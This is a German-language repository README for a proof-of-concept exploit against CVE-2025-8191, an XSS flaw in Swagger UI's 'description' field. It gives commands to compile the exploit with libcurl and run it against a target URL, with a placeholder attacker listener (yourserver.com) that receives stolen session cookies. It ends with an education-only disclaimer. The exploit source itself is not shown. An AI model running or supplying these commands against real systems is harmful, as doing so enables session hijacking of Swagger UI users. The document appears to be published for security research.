bytereaper77/cve-2025-8191Ein Repository, das einen PoC-Exploit für CVE‑2025‑8191 in Swagger UI enthält, der XSS-Injection nutzt, um Sitzungs-Cookies zu exfiltrieren.
Dieses Repository enthält einen Proof‑of‑Concept (PoC) Exploit für CVE‑2025‑8191, eine Schwachstelle in Swagger UI.
Die Schwachstelle ermöglicht eine Cross‑Site Scripting (XSS) Injektion im „description“-Feld, was zur Ausführung von Remote-Skripten in Swagger UI Versionen ≤ 1.0.3 führt.
gcc exploit.c argparse.c -o exploit -lcurl
./exploit -u http://target.com -s http://yourserver.com -v
Ersetzen Sie http://target.com durch die Ziel-Swagger UI-URL und http://yourserver.com durch Ihren HTTP-Listener zum Exfiltrieren.
Dieser Code dient ausschließlich zu Bildungs- und Sicherheitsforschungszwecken. Verwenden Sie ihn NICHT auf Systemen, für die Sie keine ausdrückliche Erlaubnis haben. Der Autor übernimmt keine Verantwortung für Missbrauch.
MIT-Lizenz